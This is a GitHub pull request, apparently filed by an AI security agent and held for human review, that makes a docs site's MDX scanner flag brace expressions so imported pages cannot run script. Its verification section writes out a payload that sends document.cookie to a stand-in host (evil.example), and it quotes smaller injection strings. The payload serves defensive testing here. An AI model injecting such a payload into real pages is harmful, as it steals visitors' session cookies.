Skip to content

fix(security): treat MDX expression braces as active content - #676

Closed
hivecommons-hive[bot] wants to merge 1 commit into
mainfrom
sec/mdx-expression-gate
Closed

hivecommons-hive[bot] wants to merge 1 commit into
mainfrom
sec/mdx-expression-gate

Conversation

@hivecommons-hive

Copy link
Copy Markdown
Contributor

Security Fix

Closes the MDX-expression bypass in the imported-page active-content gate.

Claims exactly two files: scripts/lib/mdx-active-content.mjs (the
findActiveContent scanner) and its test file tests/mdx-active-content.test.mjs.
No other script, validator, workflow or data file is touched, and no
package.json script is changed.

The gap

findActiveContent() reported disallowed elements, event handler attributes,
script-capable URL schemes and unexpected ESM statements, but had no check for
{ ... } — the one MDX construct that is JavaScript by definition. Because
docs/architectures/*.md is written verbatim from cncf/architecture by the
unattended daily import, and Docusaurus 3.10.2 compiles .md as MDX (no
markdown.format override in docusaurus.config.js), upstream text could ship
arbitrary script into the published site origin. cleanMarkdown() escapes <>
but leaves braces alone.

The change

After code spans and fences are blanked (MDX evaluates neither), every
remaining { is a finding, with one narrow allowance: the name={"json string"} attribute form that scripts/lib/jsx-attributes.mjs emits. An
expression whose entire body is a single string literal evaluates to that
string and has no call, member access or identifier reference available to it,
so it is inert wherever it appears. The pattern requires the closing brace to
follow the closing quote immediately, so {"a" + fetch(x)} does not match.

Only the braces of the allowed form are neutralized — the quoted value stays in
place, so href={"javascript:alert(1)"} is still reported as a script-capable
URL scheme rather than hidden by the allowance. Replacement is one space per
brace, keeping line lengths stable so findings keep accurate line numbers.

The check is deliberately fail-closed: literal braces in upstream prose are
reported rather than assumed harmless. All nine currently imported bodies
contain no braces outside generated card markup, so this costs nothing today.

Verification at this branch head

The payload is now rejected by the check CI already runs on every PR:

$ printf '\n{(() => { if (typeof document !== "undefined") document.location = "https://evil.example/?c=" + document.cookie; return ""; })()}\n' >> docs/architectures/adobe.md
$ npm run validate:architectures
1 error(s) in architecture catalog:
  [error] adobe.md:554: active content in imported page (MDX expression): {(() => { ...
$ echo $?
1

Real repository content is unaffected, and the full suite and coverage gate pass:

$ npm run validate:architectures
Validated 8 architecture records

$ npm run test:unit:coverage:check
ℹ pass 1186
ℹ fail 0
src files  | 100.00 | 97.96 | 5446/5446 lines
all files  |  99.09 | 93.35 |
$ echo $?
0

$ npx prettier --check scripts/lib/mdx-active-content.mjs tests/mdx-active-content.test.mjs
All matched files use Prettier code style!

Seven new tests cover the executable forms, a multi-line expression, the
allowed string-literal attribute, an attribute expression that is more than a
literal, the value still being scanned inside an allowance, and braces in code.
One existing assertion changed: hi` `` now reports
the handler and the expression it is bound through, which is correct.

Related Issue

Closes #675


Filed by sec-check agent (ACMM L4/L5 — hold-gated mode). Hold-gated: human review required.

— hive: agent=sec-check backend=copilot model=claude-opus-5 copilot=1.0.88

The imported-page gate reported disallowed elements, event handlers,
script-capable URL schemes and unexpected ESM statements, but never modelled
the one MDX construct that is JavaScript by definition: a braced expression.
Docusaurus compiles docs/architectures/*.md as MDX, and those bodies are
written verbatim from a third-party repository, so upstream text could ship
arbitrary script into the published origin.

Flag every remaining brace after code spans and fences are blanked, allowing
only the inert string-literal attribute form the importer emits itself. Only
the braces of that form are neutralized, so a script URI smuggled into a prop
value is still reported.

Signed-off-by: sec-check <sec-check@hive.kubestellar.io>
@hivecommons-hive

Copy link
Copy Markdown
Contributor Author

Important

Held for human review by the hive's ACMM level gate.

This PR was opened by the "sec-check" agent while Hive policy required a human checkpoint for that agent. Non-outreach agents are held at ACMM L3–L5; the outreach agent is always held because it publishes project-facing communication.

Hive will automatically remove the hold label once current policy no longer requires a level hold for "sec-check". If this is an outreach PR, a human must review it and remove the label.

@mrbobbytables

Copy link
Copy Markdown
Member

Superseded by #753, which consolidates the six open security-fix PRs (commits cherry-picked unmodified, authorship and DCO preserved).

@mrbobbytables
mrbobbytables deleted the sec/mdx-expression-gate branch September 28, 2026 14:46
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

agent/security Approved by a Hive merger/owner for auto-merge on green CI hive/hosted-available-lke648397-260827-5n31 Approved by a Hive merger/owner for auto-merge on green CI hold security Approved by a Hive merger/owner for auto-merge on green CI

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[sec-check] MDX expression braces bypass the imported-page active-content gate: upstream text executes as JavaScript in the site origin

1 participant